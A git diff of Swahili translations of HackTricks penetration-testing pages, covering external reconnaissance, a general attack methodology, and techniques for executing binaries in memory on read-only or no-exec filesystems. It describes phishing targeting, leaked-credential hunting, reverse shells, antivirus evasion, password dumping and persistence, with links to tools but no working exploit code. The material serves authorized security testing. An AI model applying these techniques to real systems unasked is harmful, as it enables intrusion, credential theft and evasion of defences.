@ -486,7 +486,7 @@ _Kumbuka kwamba wakati mwingine subdomain inahostiwa ndani ya IP ambayo haidhibi
## IPs
Katika hatua za awali huenda umekuwa **ukipata baadhi ya anuwai za IP, majina ya domain na subdomains**.\
Ni wakati wa **kukusanya IP zote kutoka kwa anuwai hizo** na kwa **majina ya domain/subdomains (maswali ya DNS).**
Ni wakati wa **kusanya IP zote kutoka kwa anuwai hizo** na kwa **majina ya domain/subdomains (maswali ya DNS).**
Kwa kutumia huduma kutoka **apis za bure** zifuatazo unaweza pia kupata **IPs za awali zilizotumika na majina ya domain na subdomains**. IP hizi zinaweza bado kumilikiwa na mteja (na zinaweza kukuruhusu kupata [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
@ -504,9 +504,9 @@ Unaweza pia kuangalia majina ya domain yanayoelekeza kwenye anwani maalum ya IP
> Tumepata kampuni zote na mali zao na tunajua anuwai za IP, majina ya domain na subdomains ndani ya upeo. Ni wakati wa kutafuta seva za wavuti.
Katika hatua za awali huenda tayari umekuwa ukifanya baadhi ya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **ukipata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **hila za haraka za kutafuta seva za wavuti** ndani ya upeo.
Katika hatua za awali huenda tayari umekuwa ukifanya **recon ya IPs na majina ya domain yaliyogunduliwa**, hivyo huenda umekuwa **umepata seva zote zinazowezekana za wavuti**. Hata hivyo, ikiwa hujapata sasa tunaenda kuona baadhi ya **hila za haraka kutafuta seva za wavuti** ndani ya upeo.
Tafadhali, kumbuka kwamba hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, hivyo unapaswa **kufanya udhaifu** na **skani za bandari** pia (**ikiwa inaruhusiwa** na upeo).
Tafadhali, kumbuka kwamba hii itakuwa **imeelekezwa kwa ugunduzi wa programu za wavuti**, hivyo unapaswa **kufanya udhaifu** na **skanning ya bandari** pia (**ikiwa inaruhusiwa** na upeo).
Njia **ya haraka** ya kugundua **bandari wazi** zinazohusiana na **seva** za wavuti kwa kutumia [**masscan** inaweza kupatikana hapa](../pentesting-network/#http-port-discovery).\
Chombo kingine rafiki cha kutafuta seva za wavuti ni [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) na [**httpx**](https://github.com/projectdiscovery/httpx). Unapita tu orodha ya majina ya domain na itajaribu kuungana na bandari 80 (http) na 443 (https). Zaidi ya hayo, unaweza kuonyesha kujaribu bandari nyingine:
@ -526,7 +526,7 @@ Zaidi ya hayo, unaweza kutumia [**eyeballer**](https://github.com/BishopFox/eyeb
Ili kupata mali za wingu zinazoweza kuwa za kampuni unapaswa **kuanza na orodha ya maneno muhimu yanayofafanua kampuni hiyo**. Kwa mfano, kwa kampuni ya crypto unaweza kutumia maneno kama: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Utahitaji pia orodha za maneno ya **maneno ya kawaida yanayotumika katika makundi**:
Utahitaji pia orodha za maneno za **maneno ya kawaida yanayotumika katika ndoo**:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
@ -536,15 +536,15 @@ Kisha, kwa maneno hayo unapaswa kuunda **mabadiliko** (angalia [**Second Round D
Kwa orodha za maneno zilizopatikana unaweza kutumia zana kama [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **au** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya makundi tu katika AWS**.
Kumbuka kwamba unapoitafuta Mali za Wingu unapaswa **kuangalia zaidi ya ndoo tu katika AWS**.
### **Kuangalia udhaifu**
Ikiwa unapata vitu kama **makundi ya wazi au kazi za wingu zilizofichuliwa** unapaswa **kuvifungua** na kujaribu kuona ni nini vinatoa na ikiwa unaweza kuvifanyia matumizi mabaya.
Ikiwa unapata vitu kama **ndoo wazi au kazi za wingu zilizofichuliwa** unapaswa **kuziingilia** na kujaribu kuona ni nini zinakupa na ikiwa unaweza kuzitumia vibaya.
## Barua pepe
Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohitaji **kuanza kutafuta barua pepe**. Hizi ni **APIs** na **zana** ambazo zimefanya kazi vizuri kwangu kupata barua pepe za kampuni:
Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohitaji **kuanza kutafuta barua pepe**. Hizi ndizo **APIs** na **zana** ambazo zimefanya kazi bora zaidi kwangu kupata barua pepe za kampuni:
* [**theHarvester**](https://github.com/laramies/theHarvester) - na APIs
* API ya [**https://hunter.io/**](https://hunter.io/) (toleo la bure)
@ -555,7 +555,7 @@ Pamoja na **domains** na **subdomains** ndani ya upeo unayo kila kitu unachohita
Barua pepe zitakuwa na manufaa baadaye kwa **kujaribu nguvu kuingia kwenye wavuti na huduma za uthibitishaji** (kama SSH). Pia, zinahitajika kwa **phishings**. Zaidi ya hayo, hizi APIs zitakupa hata zaidi **habari kuhusu mtu** nyuma ya barua pepe, ambayo ni muhimu kwa kampeni ya phishing.
## Mvujo wa Akida
## Mvuja wa Akida
Pamoja na **domains,** **subdomains**, na **barua pepe** unaweza kuanza kutafuta akida zilizovuja katika siku za nyuma zinazomilikiwa na barua pepe hizo:
@ -566,11 +566,11 @@ Pamoja na **domains,** **subdomains**, na **barua pepe** unaweza kuanza kutafuta
Ikiwa unapata **akida zilizovuja** halali, hii ni ushindi rahisi sana.
## Mvujo wa Siri
## Mvuja wa Siri
Mvujo wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvujo mingine** ambayo habari yake haipo katika hizo databasi:
Mvuja wa akida unahusiana na uvunjaji wa kampuni ambapo **habari nyeti ilivuja na kuuzwa**. Hata hivyo, kampuni zinaweza kuathiriwa na **mvuja nyingine** ambazo habari zake haziko katika hizo databasi:
### Mvujo wa Github
### Mvuja wa Github
Akida na APIs zinaweza kuvuja katika **hifadhi za umma** za **kampuni** au za **watumiaji** wanaofanya kazi kwa kampuni hiyo ya github.\
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **umma** za **taasisi** na za **waendelezaji** wake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
@ -585,14 +585,14 @@ Angalia pia **ukurasa** huu kwa **github dorks** zinazoweza kutafutwa katika taa
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Mvujo wa Pastes
### Mvuja wa Pastes
Wakati mwingine washambuliaji au wafanyakazi tu wata **chapisha maudhui ya kampuni katika tovuti ya paste**. Hii inaweza kuwa na au isiwe na **habari nyeti**, lakini ni ya kuvutia kutafuta.\
Unaweza kutumia zana [**Pastos**](https://github.com/carlospolop/Pastos) kutafuta katika zaidi ya tovuti 80 za paste kwa wakati mmoja.
### Google Dorks
### Mvuja wa Google
Dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelfu kadhaa ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
Dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
_Kumbuka kwamba zana zinazotarajia kuendesha database yote kwa kutumia kivinjari cha kawaida cha Google hazitamalizika kamwe kwani google itakuzuia haraka sana._
@ -604,7 +604,7 @@ Ikiwa unapata **akida zilizovuja** halali au token za API, hii ni ushindi rahisi
Ikiwa umepata kwamba kampuni ina **msimbo wa chanzo wazi** unaweza **kuuchambua** na kutafuta **udhaifu** ndani yake.
**Kulingana na lugha** kuna zana tofauti unazoweza kutumia:
**Kulingana na lugha** kuna **zana** tofauti unazoweza kutumia:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
@ -614,11 +614,11 @@ Pia kuna huduma za bure zinazokuruhusu **kuchunguza hifadhi za umma**, kama:
* [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
## [**Mbinu za Pentesting Wavuti**](../../network-services-pentesting/pentesting-web/)
**Wingi wa udhaifu** unaopatikana na wawindaji wa makosa unapatikana ndani ya **maombi ya wavuti**, hivyo katika hatua hii ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti zenye chanzo wazi**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, usitarajie kwamba zitakupatia udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti zenye chanzo wazi**](../../network-services-pentesting/pentesting-web/#automatic-scanners), kwani, usitarajie kwamba zitakupata udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
## Muhtasari
@ -626,19 +626,19 @@ Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatik
Hivyo tayari umepata:
1. Kupata kampuni zote **ndani ya upeo**
2. Kupata mali zote **zinazomilikiwa na kampuni** (na kufanya skana za udhaifu ikiwa ziko ndani ya upeo)
3. Kupata **domains** zote zinazomilikiwa na kampuni
1. Kupata **makampuni** yote ndani ya upeo
2. Kupata **mali** zote zinazomilikiwa na makampuni (na kufanya skana za udhaifu ikiwa ziko ndani ya upeo)
3. Kupata **domains** zote zinazomilikiwa na makampuni
4. Kupata **subdomains** zote za domains (je, kuna kuchukuliwa kwa subdomain?)
5. Kupata **IPs** zote (kutoka na **sio kutoka CDNs**) ndani ya upeo.
6. Kupata **seva zote za wavuti** na kuchukua **picha za skrini** zao (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
7. Kupata **mali zote za umma za wingu** zinazomilikiwa na kampuni.
8. **Barua pepe**, **mvujo wa akida**, na **mvujo wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
8. **Barua pepe**, **mvuja wa akida**, na **mvuja wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
9. **Pentesting wavuti zote ulizozipata**
## **Zana za Ufuatiliaji wa Moja kwa Moja**
## **Zana za Kiotomatiki za Utafiti Kamili**
Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
Kuna zana kadhaa huko nje ambazo zitatekeleza sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -647,17 +647,17 @@ Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya vitendo vilivyopendekezwa d
## **Marejeleo**
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
* Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Utafiti**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya uvunjaji** na kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
Ikiwa unavutiwa na **kazi ya uhalifu** na kujaribu kuvunja yasiyoweza kuvunjika - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya Uhalifu wa AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya Uhalifu wa GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -665,7 +665,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.pn
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki hila za uvunjaji kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) hifadhi za github.
* **Shiriki hila za uhalifu kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) hifadhi za github.
</details>
{% endhint %}

View file

@ -15,9 +15,9 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../.gitbook/assets/grte.png"
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuweza kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -33,7 +33,7 @@ Je, una **ufikiaji wa kimwili** kwa mashine unayotaka kushambulia? Unapaswa kuso
### 1 - [Kugundua mwenyeji ndani ya mtandao](pentesting-network/#discovering-hosts)/ [Kugundua Mali za kampuni](external-recon-methodology/)
**Inategemea** ikiwa **mtihani** unaofanya ni **mtihani wa ndani au wa nje** unaweza kuwa na hamu ya kutafuta **wenyeji ndani ya mtandao wa kampuni** (mtihani wa ndani) au **kutafuta mali za kampuni kwenye mtandao** (mtihani wa nje).
**Kulingana** na ikiwa **mtihani** unayofanya ni **mtihani wa ndani au wa nje** unaweza kuwa na hamu ya kutafuta **wenyeji ndani ya mtandao wa kampuni** (mtihani wa ndani) au **kutafuta mali za kampuni kwenye mtandao** (mtihani wa nje).
{% hint style="info" %}
Kumbuka kwamba ikiwa unafanya mtihani wa nje, mara tu unavyoweza kupata ufikiaji wa mtandao wa ndani wa kampuni unapaswa kuanzisha tena mwongo huu.
@ -48,9 +48,9 @@ Kabla ya kushambulia mwenyeji huenda ukapendelea **kuiba baadhi ya akidi** **kut
Jambo la kwanza kufanya unapokuwa **ukitafuta udhaifu katika mwenyeji** ni kujua ni **huduma zipi zinaendesha** katika bandari zipi. Hebu tuone [**zana za msingi za kuskan bandari za wenyeji**](pentesting-network/#scanning-hosts).
### **4-** [**Kutafuta matukio ya huduma**](search-exploits.md)
### **4-** [Kuhifadhi matoleo ya huduma](search-exploits.md)
Mara tu unavyojua ni huduma zipi zinaendesha, na labda toleo lao, unapaswa **kutafuta udhaifu uliojulikana**. Huenda ukapata bahati na kuna exploit ya kukupa shell...
Mara tu unavyojua ni huduma zipi zinaendesha, na labda toleo lao, unapaswa **kutafuta udhaifu uliojulikana**. Huenda ukapata bahati na kuna exploit inayoweza kukupa shell...
### **5-** Huduma za Pentesting
@ -61,7 +61,7 @@ Ikiwa hakuna exploit ya kuvutia kwa huduma yoyote inayofanya kazi, unapaswa kuta
**Ninataka kutoa kumbukumbu maalum kwa** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **sehemu (kama ni kubwa zaidi).**\
Pia, mwongozo mdogo juu ya jinsi ya [**kutafuta udhaifu uliojulikana katika programu**](search-exploits.md) unaweza kupatikana hapa.
**Ikiwa huduma yako haipo kwenye orodha, tafuta kwenye Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa **huwezi kupata chochote** kwenye Google, fanya **pentesting yako ya kipofu**, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
**Ikiwa huduma yako haipo kwenye orodha, tafuta Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa huwezi kupata chochote kwenye Google, fanya **pentesting yako ya kipofu**, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
#### 5.1 Zana za Kiotomatiki
@ -73,17 +73,17 @@ Katika hali fulani **Brute-Force** inaweza kuwa na manufaa ili **kuathiri** **hu
### 6- [Phishing](phishing-methodology/)
Ikiwa katika hatua hii huja pata udhaifu wowote wa kuvutia unapaswa **kujaribu baadhi ya phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu zangu za phishing [hapa](phishing-methodology/):
Ikiwa katika hatua hii hujaona udhaifu wowote wa kuvutia unaweza **kujaribu baadhi ya phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu yangu ya phishing [hapa](phishing-methodology/):
### **7-** [**Kupata Shell**](reverse-shells/)
Kwa namna fulani unapaswa kuwa umepata **njia yoyote ya kutekeleza msimbo** katika mwathirika. Kisha, [orodha ya zana zinazowezekana ndani ya mfumo ambazo unaweza kutumia kupata shell ya kurudi itakuwa ya manufaa sana](reverse-shells/).
Haswa katika Windows unaweza kuhitaji msaada wa **kuepuka antiviruses**: [**Angalia ukurasa huu**](../windows-hardening/av-bypass.md)**.**\\
Hasa katika Windows unaweza kuhitaji msaada wa **kuepuka antiviruses**: [**Angalia ukurasa huu**](../windows-hardening/av-bypass.md)**.**\\
### 8- Ndani
Ikiwa una matatizo na shell, unaweza kupata hapa **mkusanyiko mdogo wa amri muhimu zaidi** kwa wapentester:
Ikiwa una matatizo na shell, unaweza kupata hapa mkusanyiko mdogo wa **amri muhimu zaidi** kwa wapentester:
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -108,40 +108,40 @@ Unapaswa pia kuangalia hizi kurasa kuhusu jinsi **Windows inavyofanya kazi**:
**Usisahau kuangalia zana bora za kuorodhesha njia za Kupandisha Mamlaka za ndani za Windows na Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Privesc za Kihistoria**
#### **10.2- Privesc za Kikoa**
Hapa unaweza kupata [**mbinu inayofafanua hatua za kawaida za kuorodhesha, kupandisha mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu tu ya sehemu, mchakato huu unaweza kuwa **nyeti sana** katika kazi ya Pentesting/Red Team.
Hapa unaweza kupata [**mbinu inayofafanua hatua za kawaida za kuorodhesha, kupandisha mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu ndogo ya sehemu, mchakato huu unaweza kuwa **nyeti sana** kwenye kazi ya Pentesting/Red Team.
### 11 - POST
#### **11**.1 - Kuiba
Angalia ikiwa unaweza kupata zaidi **nywila** ndani ya mwenyeji au ikiwa una **ufikiaji kwa mashine nyingine** zikiwa na **mamlaka** ya **mtumiaji wako**.\
Pata hapa njia tofauti za [**kutoa nywila katika Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
Angalia ikiwa unaweza kupata zaidi ya **nywila** ndani ya mwenyeji au ikiwa una **ufikiaji kwa mashine nyingine** zikiwa na **mamlaka** ya **mtumiaji wako**.\
Pata hapa njia tofauti za [**kudump nywila katika Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Kudumu
**Tumia aina 2 au 3 tofauti za mitambo ya kudumu ili usihitaji kuathiri mfumo tena.**\
**Hapa unaweza kupata baadhi ya** [**mbinu za kudumu kwenye active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Kamilisha kudumu Post katika Windows & Linux
TODO: Kamalisha Post ya kudumu katika Windows & Linux
### 12 - Pivoting
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anza tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
Katika kesi hii, tunneling inaweza kuwa muhimu. Hapa unaweza kupata [**post inayozungumzia tunneling**](tunneling-and-port-forwarding.md).\
Bila shaka unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata mbinu nzuri za kuhamasisha, kupandisha mamlaka na kutoa akidi.\
Bila shaka unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata mbinu nzuri za kuhamasisha, kupandisha mamlaka na kudump akidi.\
Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa ya manufaa sana kuhamasisha katika mazingira ya Windows.
### ZAIDI
#### [Programu za Android](../mobile-pentesting/android-app-pentesting/)
#### **Kuvunja**
#### **Kuharibu**
* [**Kuvunja Msingi wa Linux**](broken-reference/)
* [**Kuvunja Msingi wa Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Zana za kuvunja za Msingi**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
* [**Kuharibu Msingi wa Linux**](broken-reference/)
* [**Kuharibu Msingi wa Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Zana za kuharibu za Msingi**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
#### [**Python ya Msingi**](python/)
@ -151,9 +151,9 @@ Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuweza kuvunja yasiyoweza kuvunjwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -45,7 +45,7 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itaandikwa, hivyo ni uongo kwamba hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imewekwa na no-exec protection**, hivyo ikiwa utashusha binary hapa huwezi **kuweza kuitekeleza**.
Hata hivyo, hata kama mfumo wa faili umewekwa kama ro, **`/dev/shm`** bado itaandikwa, hivyo ni uongo hatuwezi kuandika chochote kwenye diski. Hata hivyo, folda hii itakuwa **imewekwa na ulinzi wa no-exec**, hivyo ikiwa utashusha binary hapa huwezi **kuweza kuitekeleza**.
{% hint style="warning" %}
Kutoka kwa mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kutekeleza** binaries ambazo hazipo kwenye mfumo tayari (kama backdoors au enumerators kama `kubectl`).
@ -55,7 +55,7 @@ Kutoka kwa mtazamo wa timu nyekundu, hii inafanya **kuwa ngumu kupakua na kuteke
Kumbuka kwamba nilitaja binaries, unaweza **kutekeleza script yoyote** mradi tu mfasiri yuko ndani ya mashine, kama **shell script** ikiwa `sh` inapatikana au **python** **script** ikiwa `python` imewekwa.
Hata hivyo, hii haitoshi kutekeleza backdoor yako ya binary au zana nyingine za binary unazohitaji kuendesha.
Hata hivyo, hii haitoshi kutekeleza backdoor yako ya binary au zana nyingine za binary unazoweza kuhitaji kuendesha.
## Memory Bypasses
@ -65,19 +65,19 @@ Ikiwa unataka kutekeleza binary lakini mfumo wa faili haukuruhusu hilo, njia bor
Ikiwa una injini za script zenye nguvu ndani ya mashine, kama **Python**, **Perl**, au **Ruby** unaweza kupakua binary ili kuitekeleza kutoka kwenye kumbukumbu, kuihifadhi katika file descriptor ya kumbukumbu (`create_memfd` syscall), ambayo haitalindwa na ulinzi huo na kisha kuita **`exec` syscall** ikionyesha **fd kama faili ya kutekeleza**.
Kwa hili unaweza kwa urahisi kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kupitisha binary na itaunda script katika lugha iliyoonyeshwa na **binary iliyoshinikizwa na b64 encoded** na maagizo ya **kufungua na kuondoa** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito wa **exec** syscall kuikimbia.
Kwa hili unaweza kwa urahisi kutumia mradi [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Unaweza kupitisha binary na itaunda script katika lugha iliyoonyeshwa na **binary iliyoshinikizwa na b64 encoded** na maagizo ya **kufungua na kuikandamiza** katika **fd** iliyoundwa kwa kuita `create_memfd` syscall na wito kwa **exec** syscall kuikimbia.
{% hint style="warning" %}
Hii haiwezi kufanya kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya **kawaida ya kuita raw syscalls** kutoka kwa script, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
Hii haifanyi kazi katika lugha nyingine za scripting kama PHP au Node kwa sababu hazina njia yoyote ya **kawaida ya kuita raw syscalls** kutoka kwenye script, hivyo haiwezekani kuita `create_memfd` kuunda **memory fd** kuhifadhi binary.
Zaidi ya hayo, kuunda **fd ya kawaida** na faili katika `/dev/shm` haitafanya kazi, kwani hutaruhusiwa kuikimbia kwa sababu **no-exec protection** itatumika.
Zaidi ya hayo, kuunda **fd ya kawaida** na faili katika `/dev/shm` haitafanya kazi, kwani hutaruhusiwa kuikimbia kwa sababu **ulinzi wa no-exec** utaweza kutumika.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ni mbinu inayokuruhusu **kubadilisha kumbukumbu ya mchakato wako** kwa kuandika tena **`/proc/self/mem`**.
Hivyo, **kuweza kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato ili **kuendesha msimbo wowote wa kawaida**.
